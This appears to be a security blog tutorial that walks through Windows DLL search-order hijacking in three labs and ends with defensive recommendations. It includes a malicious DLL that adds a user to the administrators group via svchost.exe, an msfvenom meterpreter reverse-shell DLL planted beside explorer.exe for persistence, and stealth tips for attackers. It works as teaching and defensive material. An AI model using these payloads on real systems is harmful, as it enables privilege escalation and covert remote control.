DLL Hijacking for Privilege Escalation and Persistence
Is DLL Hijacking a vulnerability?
Read until the end to find out!
In this blog-post, I introduce DLL Hijacking, how this method can be exploited to achieve privilege escalation and persistence, and demonstrate the same through three lab simulations. I also list some defenses against DLL Hijacking at the end. To understand DLL Hijacking, it is important to understand what DLLs are and how the DLL Search Order works.
Background
Dynamic Link Libraries
Dynamic Link Libraries contain code in the Windows operating system that promotes modularization of code and code reuse for efficient memory usage. Since they are dynamic, it is easier to update DLLs. They are Microsoft’s implementation of shared libraries (.so files) that are widely used in Linux. DLLs are independent PE files that are not directly executable but can be simultaneously accessed by several applications.
In Windows, when an application tries to load DLLs that do not exist or insecurely call the DLLs (without specifying fully qualified path), it is possible to trick the system by abusing the DLL search order to preload a malicious DLL instead of the legitimate DLL. Techniques such as DLL Hijacking or DLL Proxying use DLL preloading to execute DLLs earlier in the search order to achieve privilege escalation, evasion, and persistence.
DLL Search Order
An application loads the DLLs it requires by utilizing the “LoadLibrary” function that takes path of a DLL as an argument. Programmers are usually hesitant to hard-code the absolute path to LoadLibrary function since a different version of the same DLL could be located elsewhere. For example, an application utilizing the path, “C:\Windows\SysWOW64\test.dll” as an argument to LoadLibrary on a 64-bit Windows would work perfectly, but fails on a 32-bit Windows which would need “C:\Windows\System32\test.dll” instead. Therefore, most programmers pass the name of the DLL instead of the full path.
In such cases where the full path is not explicitly passed, Windows either checks if another DLL already exists with the same name or if the DLL is listed in the “KnownDLLs” registry key (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs). However, if this is not the case, assuming that SafeDLLSearchMode is enabled (enabled by default in all modern Windows versions), Windows looks for the DLL in the following search order:
- The directory from which the application loaded.
- The system directory (C:\Windows\System32).
- The 16-bit system directory (C:\Windows\System).
- The Windows directory (C:\Windows).
- The current directory.
- The directories that are listed in the PATH environment variable.
If SafeDLLSearchMode is disabled, the current directory is second in the order of search.
Lab Setup for DLL Search Order
Note: All labs in this article use Windows 11 as the target. It is assumed that the attacker (us) has access to a low privileged shell; in this case, an RDP session. Source code can be compiled in any Linux distribution or VSCode on Windows.
In this lab, the search order is observed in Process Monitor when a simple C program tries to load a DLL. If the application successfully finds the DLL, a message box from the DLL’s code pops up. Otherwise, the DLL is searched in the order listed above.
First, the C program below is compiled to generate an executable, “test.exe” which tries to load a DLL named “findme.dll”.
//Compiler: apt install mingw-x64 -y //Compilation: x86_64-w64-mingw32-gcc-win32 locateDLL.c -o test.exe #include<stdio.h> #include<windows.h> void main() { HINSTANCE hDll; // Load DLL using LoadLibrary() hDll = LoadLibrary("findme.dll") //If DLL is located if(hDll != NULL) { printf("DLL Found!\n"); } else { printf("DLL Not Found!"); } }
Next, the C program below is compiled to generate a DLL file that opens a message box with the message “It works!” when executed.
//DLL Code: x86_64-w64-mingw32-gcc-win32 findme.c -shared -o findme.dll #include<windows.h> //BOOL WINAPI BOOL APIENTRY DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: MessageBox(NULL, //Owner "It works!", //Message "Bazooka", //Title MB_ICONERROR | MB_OK //Type ); break; } return TRUE; }
Let’s consider a scenario where the DLL does not exist in the system. Using Process Monitor, we’ll verify if Windows performs the search in the same order as it is listed above.
Process Monitor’s capture results show that the non-existent DLL was searched in the same order that was listed. Any of the locations shown in the Process Monitor’s search result can be used to plant the DLL so that the system executes the DLL’s code.
Finally, let’s download the DLL to the application’s directory and then execute the application. The result shows that the DLL was successfully located and thus, the DLL’s code executes and shows a message box as intended. Since “findme.dll” is located in the application test.exe’s directory, the DLL was located in the first search attempt.
From the above lab experiment, it can be observed that the system only matches the name and does not verify MD5-sum, publisher or version of the requested DLL.
DLL Hijacking
DLL Hijacking is a post-exploitation technique that works by exploiting the search order for DLLs by Windows. Since the system only matches the name of the DLL in the locations listed in the search order, the process can be hijacked by replacing the legitimate DLL with a malicious DLL.
To perform a DLL hijack, an attacker will need the following:
- Any application requesting a DLL through the DLL Search Order.
- Name of the DLL.
- Write-permissions to any of the folders in the Search Order.
It is common to see applications work fine without ever locating the DLL. Therefore, if an attacker can find a modifiable directory in the search order to plant a malicious DLL, it is possible for the attacker to gain persistence, escalate privileges, and evade detection. In a default scenario where the ACL disallows the user to modify directories such as “C:\Windows” or “C:\Windows\System32“, an attacker would either have to find a modifiable directory in the System or User %PATH%, or check if the directory of the application is modifiable for an application that tries to load a non-existent DLL.
Privilege Escalation via DLL Hijacking
DLLs are executed with the same access permissions as the calling process. If an application is running with administrator privileges, it’s required DLL would also be executed with the same privileges. Many privileged processes start during the boot time. Process Monitor’s boot logging feature enables us to look at processes that run as SYSTEM. The filters used are: User is “NT AUTHORITY\SYSTEM”, Result is “NAME NOT FOUND”, and Path ends with “.dll”. The image below shows the same.
Note: To escalate privileges using DLL Search Order Hijacking, the attacker needs to look for writable directories in the System %PATH% only.
Lab Setup for Privilege Escalation via DLL Hijacking
The goal is to escalate privileges through svchost.exe’s (privileged process) missing DLL dependency. First, I create a user as “Sid”, add a folder “C:\Security“, and add the same folder to the System %PATH%. Any directory created at the root of “C:\” allows “Authenticated Users” to create files in that directory and it’s subdirectories. As an “Authenticated User” who can write files in “C:\Security”, I am able to plant a malicious DLL. Windows search order finally locates the malicious DLL and executes it with svchost.exe’s NT AUTHORITY\SYSTEM privileges.
Using ICACLS tool, we can find the permissions of the folder.
The above image shows that Authenticated Users’ group is allowed to modify the security folder.
Now that the lab is setup, let’s begin the DLL hijack to escalate privileges!
Step 1: Identifying missing DLLs for svchost.exe with NT AUTHORITY\SYSTEM privileges.
Here, the “WptsExtensions.dll” file will be used to Hijack.
Step 2: Create a malicious DLL that adds the user Sid to administrators group.
//escalate_me.c //DLL Compilation: x86_64-w64-mingw32-gcc-win32 escalate_me.c -shared -o WptsExtensions.dll #include<windows.h> //BOOL WINAPI BOOL APIENTRY DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: system("net localgroup administrators sid /add"); break; } return TRUE; }
Step 3: After downloading the malicious DLL as “C:\Security\WptsExtensions.dll”, we can restart the system to restart the svchost.exe service and find that Sid is now the administrator.
User Sid belongs to the administrators group after restart since the privileged process svchost.exe located WptsExtensions.dll in the %PATH% and executed the malicious DLL with the administrator privileges. This is only a simple POC to show that an attacker could gain privileged code execution and can escalate privileges.
Persistence via DLL Hijacking
It is obvious that getting code execution through DLL hijacking enables easy persistence. Instead of showing a simple message box to demonstrate the power DLL Hijacking, I’ll use msfvenom DLL payload to get a meterpreter shell.
Assuming that we have an Administrator shell, we’ll try to persist on the same account.
Step 1: Identifying a process whose search order can be hijacked.
Here, Windows Explorer’s missing DLL, “cscapi.dll” will be used to hijack the DLL search order.
The filters used for Process Monitor’s results below are: Path ends with “cscapi.dll”, Process Name is “explorer.exe”, Result is “NAME NOT FOUND”
Step 2: Generating a msfvenom DLL payload to plant it in any of the DLL search order locations.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f dll > cscapi.dll
Note: Since this is only a lab setup to demonstrate DLL Hijacking, Windows firewall, real-time protection, and cloud-delivered protection are turned off. Otherwise, it will create obvious alarms and the attack will fail.
A real-world scenario would include social engineering the victim to open an undetectable malicious document getting a reverse shell and continuing DLL hijacking for persistence from Step 2.
Step 3: Planting the DLL in application’s directory to hijack the search order.
The existence of DLL “cscapi.dll” in “C:\Windows\System32\cscapi.dll” does not show in the process monitor as we only search for “NAME NOT FOUND” results. Removing that filter will enable us to see that it finds the DLL after looking into “C:\Windows”.
After downloading the DLL to the target machine, we can plant the DLL in the explorer.exe’s directory, “C:\Windows\” such that it is executed first before it is found in “C:\Windows\System32“.
Step 4: Killing the explorer.exe process and restarting it to execute the malicious “cscapi.dll” file to obtain a meterpreter session on our handler.
Note: After getting the meterpreter session, Windows Explorer was completely ruined and the windows box was unusable.
Voila! A meterpreter session is obtained and persistence is achieved. Now, every time the system reboots and starts explorer.exe, a shell is spawned on metasploit handler.
A few other ways of hijacking are abusing missing DLLs of OneDrive, MSDTC (Microsoft’s Distributed Transaction Coordinator) service, Bginfo64.exe, svchost.exe, and other default applications that exist on Windows by default.
Attacker’s Notes
- Stealth: Find native Windows applications/processes to blend in such that the existing functionality is not disturbed. For example, OneDrive comes with most Window’s installations and is rarely used, in my experience. Also, identify applications that do not require a reboot.
- Abuse Insecure File Permissions: If a DLL does not load from it’s application’s directory, look for insecure directory permissions to plant a malicious DLL.
- Abuse PATH Misconfigurations: If an applications tries to load a non-existent DLL, it eventually searches the path variable. Some users install applications in root partitions such as “C:\” rather than the default application path so that is easily accessible with it’s name. For example, Python. This gives rise to Authenticated Users group having “write” access to that folder. The malicious DLL could be planted in the application’s directory.
- Privilege Escalation: If an application with a search order vulnerability runs with high privileges, plant malicious DLL to escalate privileges.
- Simulate Attack: It is always a good practice to simulate the attack in a lab environment before exploiting the real target. This is to ensure that the exploitation is smooth and does not ring unwanted alarms.
Defender’s Notes
- Remove unnecessary applications.
- Install applications in protected directories.
- Although SafeDllSearchMode is enabled by default in modern Windows OS, always check the same in the registry key: “HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode”. It must be set to 1.
- Encourage developers to use absolute paths to locate DLLs.
- Encourage developers to restrict the search to necessary directories only. For example, using flags such as “LOAD_LIBRARY_SEARCH_APPLICATION_DIR”, “LOAD_LIBRARY_SEARCH_SYSTEM32” in the LoadLibraryExA function.
- Encourage developers to remove the current directory from the standard search path by using the SetDllDirectory function with an empty string (“”).
- Log the directories listed in DLL search order for low-privileged users that have “write” permissions. For example, the “C:\Security” directory in the privilege escalation lab.
- Log changes to system path and ensure correct file permissions for those locations.
- Use Event Detection and Response (EDR) software.
- Flag infrequently used applications and their DLLs. Use application whitelisting.
Conclusion
I have introduced DLL Hijacking and explained how the DLL Search Order works through a simple lab that uses Process Monitor to show DLL search order in action. In the second lab, I have demonstrated how DLL Hijacking can be used for privilege escalation, where an insecure directory is abused to escalate privileges via a privileged process. Finally, the third lab shows how persistence is achieved by planting a malicious DLL earlier in the search order for explorer.exe’s “cscapi.dll”.
Is DLL Hijacking a vulnerability?
No. It is only a method that exploits the DLL Search Order by leveraging over insecure file permissions, insecure coding, and other misconfigurations.
References
- What is a DLL (Microsoft Article)
- DLL Search Order (Microsoft Article)
- DLL Security (Microsoft Article)
- Detecting DLL Search Order Hijacking by Lasse Huaballe Jensen (Highly Recommended)
- All About DLL Hijacking – My Favorite Persistence Method by IppSec (YouTube Video)
- Windows DLL Hijacking (Hopefully Clarified) by itm4n